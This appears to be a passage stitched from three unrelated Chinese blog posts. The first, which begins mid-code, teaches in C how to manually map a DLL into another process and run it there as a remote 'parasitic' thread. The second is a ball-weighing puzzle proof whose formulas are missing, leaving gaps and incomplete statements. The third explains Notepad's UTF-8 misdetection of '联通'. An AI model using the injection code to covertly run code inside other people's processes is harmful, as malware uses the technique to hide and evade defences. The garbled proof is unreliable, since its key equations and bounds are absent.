       WORD* arrOffset = (WORD*)(pRelocTbl + sizeof(IMAGE_BASE_RELOCATION)); 
       DWORD dwRvaCount = (pibr->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2; 
       for(DWORD i=0; i<dwRvaCount; i++ ) 
       { 
           DWORD dwRva = arrOffset[i]; 
           if((dwRva & 0xf000) != 0x3000) 
                continue; 
           dwRva &= 0x0fff; 
           dwRva += pibr->VirtualAddress + (DWORD)pImage; 
            *(DWORD*)dwRva += dwRelocOffset; 
       } 
       pRelocTbl += pibr->SizeOfBlock; 
       pibr = (PIMAGE_BASE_RELOCATION)pRelocTbl; 
    } 
}

    由于我们在宿主进程中分配的内存只有IMAGE_SIZE那么大，所以必须在重定位操作完成之后，才能把线程参数写进去，这是因为重定位表在完成重定位之后，就没用了，我们正好可以借用它的空间来存放线程参数，而且一般情况下，空间足够使用，除非你要传递特别多的参数。这样，参数的地址自然就是实际装入地址加上重定位表的RVA地址了。
    最后的工作是获取线程的入口地址，由函数GetEntryPoint来完成。我们的dll程序输出一个名为ThreadEntry的函数，其原型兼容windows的线程入口函数，我们把它作为远程线程的执行体。GetEntryPoint根据dll的输出表信息从映像中找到ThreadEntry的入口地址并将其返回。不过，GetEntryPoint返回的地址是一个RVA，必须加上装入地址pInjectPos才是实际入口地址。

static DWORD GetEntryPoint(LPBYTE pImage) 
{ 
    DWORD dwEntry = 0, index = 0; 
    IMAGE_EXPORT_DIRECTORY* pied = (IMAGE_EXPORT_DIRECTORY*)(pImage + RVA_EXPORT_TABEL); 
    DWORD* pNameTbl = (DWORD*)(pImage + pied->AddressOfNames); 
    for(index=0; index<pied->NumberOfNames; index++, pNameTbl++) 
       if(strcmp("ThreadEntry", (char*)(pImage + (*pNameTbl))) == 0) 
       { 
           index = ((WORD*)(pImage + pied->AddressOfNameOrdinals))[index]; 
           dwEntry = ((DWORD*)(pImage + pied->AddressOfFunctions))[index]; 
           break;  
        } 
    return dwEntry; 
}

    第④步：把准备好的数据写入宿主进程，并创建远程线程来运行写入的代码。
    第⑤步：进行装载器程序结束前的清理工作。
    以上是装载器程序的全部内容，接下来介绍dll程序。前面已经说过，dll要输出一个名为ThreadEntry的函数作为远程线程的入口，所以我们从ThreadEntry开始。

extern DWORD ThreadMain(HINSTANCE hInst); 
DWORD WINAPI ThreadEntry(PTHREADPARAM pParam) 
{ 
    DWORD dwResult = -1; 
    __try{ 
        if(LoadImportFx(pParam->pImageBase, pParam->fnLoadLibrary, pParam->fnGetProcAddr)) 
           dwResult = ThreadMain((HINSTANCE)pParam->pImageBase); 
    } 
    __except(EXCEPTION_EXECUTE_HANDLER) 
    { 
       dwResult = -2; 
    } 
    return dwResult; 
}

    整个ThreadEntry的代码被包含在一个SEH（结构化异常处理）之中，这可以避免部分由于寄生代码出错而导致宿主被系统杀死的情况。ThreadEntry首先调用LoadImportFx函数完成隐式链接dll的处理。
    LoadImportFx的工作原理就是按照前面介绍的输入表的结构，使用LoadLibrary加载dll文件，然后用GetProcAddress获得输入函数的入口地址并写入相应的IMAGE_THUNK_DATA中。我在这里要说明的是：为什么远程线程能使用装载器进程中LoadLibrary和GetProcAddress的入口地址来实现对这两个函数的调用？因为按照前面的说法，我们无法保证包含这两个函数的dll已被装入，更无法保证它们的指向的正确性。其实，这里我利用了windows系统中的两个事实：一是基本上所有的windows进程都会装入kernel32.dll（在我的机器上，只有smss.exe例外），而这两个函数就位于kernel32.dll中；另一个是所有装入kernel32.dll的进程都会把它装入同一个内存地址，这是因为它是windows系统中最基本的dll之一。所以，我这样使用在绝大多数情况下不会有任何问题。

BOOL LoadImportFx(LPBYTE pBase, FxLoadLibrary fnLoadLibrary, FxGetProcAddr fnGetProcAddr) 
{ 
    PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)pBase; 
    PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)(pBase + pidh->e_lfanew); 
    PIMAGE_IMPORT_DESCRIPTOR piid = (PIMAGE_IMPORT_DESCRIPTOR) 
           (pBase + pinh->OptionalHeader.DataDirectory[1].VirtualAddress); 
    for(; piid->OriginalFirstThunk != 0; piid++) 
    { 
       HMODULE hDll = fnLoadLibrary((LPCSTR)(pBase + piid->Name)); 
       PIMAGE_THUNK_DATA pOrigin = (PIMAGE_THUNK_DATA)(pBase + piid->OriginalFirstThunk); 
       PIMAGE_THUNK_DATA pFirst = (PIMAGE_THUNK_DATA)(pBase + piid->FirstThunk); 
       LPCSTR pFxName = NULL; 
       PIMAGE_IMPORT_BY_NAME piibn = NULL; 
       for(; pOrigin->u1.Ordinal != 0; pOrigin++, pFirst++) 
       { 
            if(pOrigin->u1.Ordinal & IMAGE_ORDINAL_FLAG) 
                pFxName = (LPCSTR)IMAGE_ORDINAL(pOrigin->u1.Ordinal); 
           else 
           { 
                piibn = (PIMAGE_IMPORT_BY_NAME)(pBase + pOrigin->u1.AddressOfData); 
                pFxName = (LPCSTR)piibn->Name; 
           } 
            pFirst->u1.Function = (DWORD)fnGetProcAddr(hDll, pFxName); 
       }  
    } 
    return TRUE; 
} 

DWORD ThreadMain(HINSTANCE hInst)
{
TCHAR szModule[256], szText[512], szFormat[256];
LoadString(hInst, IDS_FORMAT, szFormat, sizeof(szFormat) / sizeof(TCHAR));
GetModuleFileName(NULL, szModule, 256);
_stprintf(szText, szFormat, szModule);
MessageBox(NULL, szText, _T("远程线程"), MB_OK|MB_ICONINFORMATION);
return 0;
}

    有m（m≥3）个球，记为q₁、q₂、…、q_m，其中有且仅有一个坏球，其重量与其他的不同，现使用无砝码的天平进行称量，令n为称量次数，问：能确保找到坏球并指出它与好球的轻重关系的n的最小值是多少？

    先来看理论上要多少次。每次称量有左边轻、平衡和右边轻共3种可能的情况，而坏球的可能结果有q₁轻、q₁重、q₂轻、q₂重、…、q_m轻、q_m重等共2m种。因此，根据商农的信息论，此问题的熵就是需要的称量次数，又因为n是整数，所以有：

    不过理论终归是理论，直接拿到现实生活中往往行不通。一个很简单的情况：4个球，上面的公式说2次称量就够了。但你可以想想办法，反正我是没找到两次解决问题的方案。

    那，是理论错了吗？唔，我可不敢怀疑商农，我只敢怀疑我自己。来看看我们错在哪了吧。对4个球的情况，第一次称量只有两个可选的方案：方案1：q₁放左盘，q₂放右盘。若不平衡（由于对称性，只分析左边轻的情况，下同），则可能的结果还剩q₁轻和q₂重，再称一次就能找到坏球；若平衡，则可能的结果还剩q₃轻、q₃重、q₄轻和q₄重4个，再套用一下商农的定理，此时还要称次。所以方案1被否决。方案2：q₁、q₂放左盘，q₃、q₄放右盘。此时天平肯定不会平衡，称量后，可能的结果有q₁轻、q₂轻、q₃重和q₄重4个。同样的道理，方案2也难逃被否决的命运。

    在4个球这么简单的情况下就撞得满头是包，未免让人难以接受，总结一下经验教训吧，把上面的分析归纳一下并推广到一般情况，就是：整个称量过程中，要达到目的，倒数第k次称量前的可能结果数h，必须满足条件h≤3^k。

    上面的得出的结论虽然不能让我们找到问题的答案，但却有助于我们确定每次称量的方案，特别是第一次如何做。假设我们计划的称量次数是n，第一次在左右两盘中各放x个球，则保证下面两个不等式同时成立是解决问题的必要条件：

    2(m-2x)≤3^n-1  （平衡时）

    2x≤3^n-1 （不平衡时）

把这两个不等式稍加变换，就成了下面的样子：

注意到x是整数，3n-1是奇数，2m是偶数，所以上面的不等式等价于：

显然，在n一定的情况下，m越大，x的取值范围越小，而当x只能取值时，m继续增大，就会导致n次称量找到坏球的计划破产。籍此，可以得出在n一定的情况下m的取值范围：。发现了吗？现在m的最大值正好比我们最初的结果少了1。同时此结果也与前面提到的4个球的实际情况相符。

    但分析了半天，我们只证明了m不在取值范围内时，n次称量不能确保找到坏球。那m在取值范围内的时候，肯定能找到吗？答案是肯定的，不过马上证明它有点难，先来看两个简单一点的命题。

    命题1：有A、B两组球，球的个数分别为a、b，且0≤b-a≤1，已知这些球中有且仅有一个坏球，若它在A组中，则比正常球轻，在B组中则比正常球重。另有一个好球。先使用无砝码的天平称量，令，则可以找到一个称量方案，使得最多经过n次称量，就可以找到坏球（此时肯定能指出它与好球的重量关系）。

    使用数学归纳法证明如下：

    ①当n=1时，a、b的取值可能有{0，1}、{1，1}、{1，2}三组，由于还有一个已知的好球，所以不难验证此时命题成立。
    ②假设当n=k时命题也成立。
    ③当n=k+1时。我们将A、B两组球分别尽量平均得分为三组，记为A1、A2、A3、B1、B2和B3。不影响一般性，假设这六组球按球数从少到多的排列次序也与前面的顺序一致，且A1有球a1个。则第一次称量时的称量方案与每组球个数的对应关系如下，其中需要注意的是：在带蓝色的两种情况下，必有，否则就与命题的前提不符了。

A1	A2	A3	B1	B2	B3	称量方案
a1	a1	a1	a1	a1	a1	A1、B1放左盘；A2、B2放右盘
a1	a1	a1	a1	a1	a1+1	A1、B1放左盘；A2、B2放右盘
a1	a1	a1+1	a1	a1	a1+1	A1、B3放左盘；A3、B1放右盘
a1	a1	a1+1	a1	a1+1	a1+1	A1、B2放左盘；A2、B3放右盘
a1	a1+1	a1+1	a1	a1+1	a1+1	A2、B2放左盘；A3、B3放右盘
a1	a1+1	a1+1	a1+1	a1+1	a1+1	A2、B2放左盘；A3、B3放右盘

很明显，不管结果是什么，第一次称量之后，问题都能转化为n=k时的情形。所以，命题1是真命题。

    前面已经证明时，n次称量无法确保找到坏球并指出其轻重关系。但如果此时也有一个已知的好球的话，答案就不一样了，这时n次称量就已经足够（命题2）。仍使用数学归纳法。

    ①当n=2时，m=4，验证一下可知命题成立。 
    ②假设当n=k时命题也成立。 
    ③当n=k+1时。我们把这些球尽量平均的分成三组，则每组球的个数分别为：、、。第一次称量时，第一组和那个好球放左盘，第三组放右盘。若平衡，问题转化为n=k时的情形，不平衡，问题转化为命题1的情形。命题成立。

    有了前面两个证明作基础，最初的问题就很简单了，再次祭出数据学归纳法。由于m<5时的情况有些特殊(考虑只有一个球或两个球的情况)，不能作为递推得依据，所以我们从n=3，也就是m=5开始。

    ①当n=3时，m在5和12之间（13的情况已经被排除在外），通过一一验证可知命题成立。 
    ②假设当n=k时命题也成立。 
    ③当n=k+1时，找到一个满足不等式的x，在天平左右两盘中各放x个球。如果天平平衡，问题转化为n=k时的情形或命题2中的情形；不平衡，则转化为命题1的情形。命题成立。

    综上所述，称球问题的完整答案是：当球数时，n次称量时就能确保找到坏球，并指出它与好球的轻重关系；当球数时，n次称量只能确保找到坏球，而无法指出它与好球的轻重关系。要想指出轻重关系，就可能需要多进行一次称量。但如果此时再有一个好球，就又可以把这次称量省掉了。

如果你的电脑操作系统是WIN2000或WINXP的话，那么：
1. 在桌面上点右键，选择新建 — 文本文档；
2. 打开"新建 文本文档"，录入"移动"两字后存储后关掉
3. 重新打开"新建 文本文档"，看到什么了？是不是刚刚录入的"移动"两字？
4. 把"移动"分别换成"电信"和"网通"，重复1--3步，是不是也都没什么问题？
5. 现在我们拿"联通"来试试，重复1--3步，你会发现刚刚录入的"联通"两字不见了，取而代之是个烧焦的手机电池(一个符号)。 看来微软确实跟联通有仇呀！

笑话当然是笑话，不能当真。但为什么会这样呢？是微软的bug吗？确实有点像，不过——微软是世界顶级的软件公司，记事本则有可能是windows中最简单应用程序，说这是bug未免有点不合情理吧？

好了，既然把自己的主观臆断否定了，就让我们踏上寻找事实真相的艰苦历程吧:)。

不知你注意过没有，记事本的打开、保存对话框比普通的文件对话框多一个编码选项，可以通过它指定文件的编码是UNICODE、ANSI还是UTF8。"喔，我知道了"，你可能会说，"这肯定是windows api IsTextUnicode惹的祸。因为文本文件本身不保存编码信息，所以记事本打开文件时就要调用IsTextUnicode来判断文件的编码。而IsTextUnicode是根据文本的内容猜测其编码，所以肯定是它猜错编码格式了。想想‘联通'只有两个字，这样的错误有情可原，OK了，问题解决了"。

说实话，一开始我也是这么想的，但后来发现，我犯了两个错误。①IsTextUnicode并没有猜错，不信你可以检查一下IsTextUnicode("联通", 4, NULL)的返回值。②记事本有可能保存编码信息，这个后面再说。

原来，记事本除了判断编码是不是UNICODE以外，还要判断它是不是UTF8。"联通"两个字的代码是(字节顺序从低到高)：C1 AA CD A8，转换为二进制是：11000001 10101010 11001101 10101000。对照UTF8编码方案(详情请见http://www.cis.ohio-state.edu/htbin/rfc/rfc2279.html)：
0000-007F之间的字符不做转换
0080-07FF之间的编码为110xxxxx 10xxxxxx
0800-FFFF之间的编码为1110xxxx 10xxxxxx 10xxxxxx
不难发现，"联通"的编码符合第二种情况，所以记事本把它判定为UTF8编码，而对其进行解码后，将变成00000000 01101010 00000011 01101000。注意：前两个字节解码后并不在0080--07FF之间，所以被认为是错误的值，忽略了。后面两个字节经过调整字节顺序后，将变为16进制的0x0368，也就是那块烧毁的电池了(取决于所使用的字体)。

PS:

1. 如果你保存文件时，指定使用除ANSI以外的编码，记事本将用文件开头的几个字节保存文件编码，UNICODE对应0xFEFF，UNICODE BIG ENDIAN对应0xFFFE，UTF-8对应0xBFBBEF。这几个字节被称为BOM(byte order mark, 字节顺序标记)。如果文件有BOM，记事本直接使用它判断编码，否则它就根据文件内容判断编码。

 2. 分析的过程中我用ultra edit来查看文件的16进制内容，但它会自动进行编码转换并给文件加上一个BOM，导致看到的和实际不符(文件4字节，到了ultraedit中就成了6字节)，让我走了一些弯路。